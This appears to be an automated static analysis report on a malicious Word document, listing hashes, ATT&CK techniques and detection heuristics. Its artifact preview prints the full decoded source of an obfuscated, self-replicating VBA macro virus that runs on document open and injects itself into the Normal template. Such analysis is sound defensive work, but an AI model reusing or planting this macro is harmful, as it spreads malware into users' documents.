Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 563b83c589307bd4…

MALICIOUS

Office (OLE)

31.5 KB Created: 2001-05-26 08:22:00 Authoring application: Microsoft Word 10.0 First seen: 2015-09-18
MD5: 296fed929a019d301cab6206c05e4e80 SHA-1: ac0cfeba558cfb7e1878c4a8746319dbe63848f1 SHA-256: 563b83c589307bd47f9ddba23fc6decfb05f1b1a8652d23f745e8b9be849e0d8
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros. The critical heuristic 'VBA macro-virus self-replication / AV tampering' indicates the macro attempts to modify the VBA project code. The script itself shows obfuscated string manipulation and attempts to insert code into the document's modules, suggesting an intent to download and execute further malicious content or establish persistence. The presence of legacy WordBasic auto-exec markers and the Document_Open macro further support this malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Compresser-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Compresser-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    COD.InsertLines 79, decode
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2968 bytes
SHA-256: c579f286ebd7e4c2c835cccb0f497c7d6a51c5b3970c02c9178d9f4720b54eaf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
Dim j(100) As String
j(0) = "ĥ帥ÇÍ"
j(1) = "ĥ¥¸¥ÆÍ"
j(2) = "Ä¥À¥¸¥ÁÍ"
j(3) = "èüæêáॸ¥ÀÈ­´©¥Àɬ"
j(4) = "Ý¥Ê"
j(5) = "Õ¥¸¥­´¨´¬"
j(6) = "Ô¥¸¥­´¨´¬"
j(7) = "×¥¸¥­´¨´¬"
j(8) = "ËÖ¥¸¥Ñ"
j(9) = "ËÐ¥¸¥­´¨´¬"
j(10) = "ËÓ¥¸¥­´¨´¬"
j(11) = "ËÒ¥¸¥­´¨´¬"
j(12) = "Ü"
j(13) = "Ý¥Ã"
j(14) = "Ï¥´©¥É"
j(15) = "Ì¥èüæêáà"
j(16) = "Ü"
j(17) = "Ý¥Â"
j(18) = "Ï¥´©¥É"
j(19) = "Ì¥èüæêáà"
j(20) = "Ü"
j(21) = "Æ«öäóàäö¥Æß"
Set This = ThisDocument: Set VBP = This.VBProject
Set VBC = VBP.VBCOMPONENTS(1): Set COD = VBC.CODEMODULE
For I = 0 To 21
decode = decode & Dec(Decrypt(j(I))) & vbCr
Next
COD.InsertLines 79, decode
Call compressed
NormalTemplate.VBProject.VBCOMPONENTS(1).CODEMODULE.DELETELINES 79, 23
ActiveDocument.VBProject.VBCOMPONENTS(1).CODEMODULE.DELETELINES 79, 23
Rem WM97.COMPRESSED
End Sub
Private Function Dec(s)
H1 = "": D = ""
For I = 1 To Len(s)
H1 = Mid(s, I, 1)
Select Case H1
Case "A": H1 = Decrypt("ÖÀÑ")
Case "B": H1 = Decrypt("ËÊ×ÈÄÉÑÀÈÕÉÄÑÀ")
Case "C": H1 = Decrypt("ÄÆÑÌÓÀÁÊÆÐÈÀËÑ")
Case "D": H1 = Decrypt("ÑÍÌÖÁÊÆÐÈÀËÑ")
Case "E": H1 = Decrypt("ÑÍÖ")
Case "F": H1 = Decrypt("ËÊ×")
Case "G": H1 = Decrypt("ÁÊÆ")
Case "H": H1 = Decrypt("«ÓÇÕ×ÊÏÀÆÑ«ÓÇÆÊÈÕÊËÀËÑÖ­´¬«ÆÊÁÀÈÊÁÐÉÀ")
Case "I": H1 = Decrypt("«ÄÁÁÃ×ÊÈÖÑ×ÌËÂ")
Case "J": H1 = Decrypt("«ÁÀÉÀÑÀÉÌËÀÖ")
Case "K": H1 = Decrypt("«ÌËÖÀ×ÑÉÌËÀÖ")
Case "L": H1 = Decrypt("«ÆÊÐËÑÊÃÉÌËÀÖ")
Case "M": H1 = Decrypt("«ÉÌËÀÖ")
Case "N": H1 = Decrypt("«ÄÕÕÉÌÆÄÑÌÊË")
Case "O": H1 = Decrypt("ÊÕÑÌÊËÖ")
Case "P": H1 = Decrypt("«ÓÌ×ÐÖÕ×ÊÑÀÆÑÌÊË")
Case "Q": H1 = Decrypt("«ÖÄÓÀËÊ×ÈÄÉÕ×ÊÈÕÑ")
Case "R": H1 = Decrypt("«ÆÊËÃÌ×ÈÆÊËÓÀ×ÖÌÊËÖ")
Case "S": H1 = Decrypt("«ÁÌÖÕÉÄÜÄÉÀ×ÑÖ")
Case "T": H1 = Decrypt("ÒÁÄÉÀ×ÑÖËÊËÀ")
Case "U": H1 = Decrypt("«ÖÆ×ÀÀËÐÕÁÄÑÌËÂ")
Case "V": H1 = Decrypt("«ÁÌÖÕÉÄÜÖÑÄÑÐÖÇÄ×")
Case "W": H1 = Decrypt("«ÀËÄÇÉÀÆÄËÆÀÉÎÀÜ")
Case "X": H1 = Decrypt("ÒÌÑÍ")
Case "Y": H1 = Decrypt("ÀËÁ¥ÒÌÑÍ")
Case "Z": H1 = Decrypt("«ÃÐÉÉËÄÈÀ")
End Select
D = D & H1
Next
Dec = D
End Function
Private Function Decrypt(s)
For I = 1 To Len(s)
Decrypt = Decrypt & Chr(Asc(Mid(s, I, 1)) Xor 133)
Next
End Function

Private Sub compressed()

End Sub

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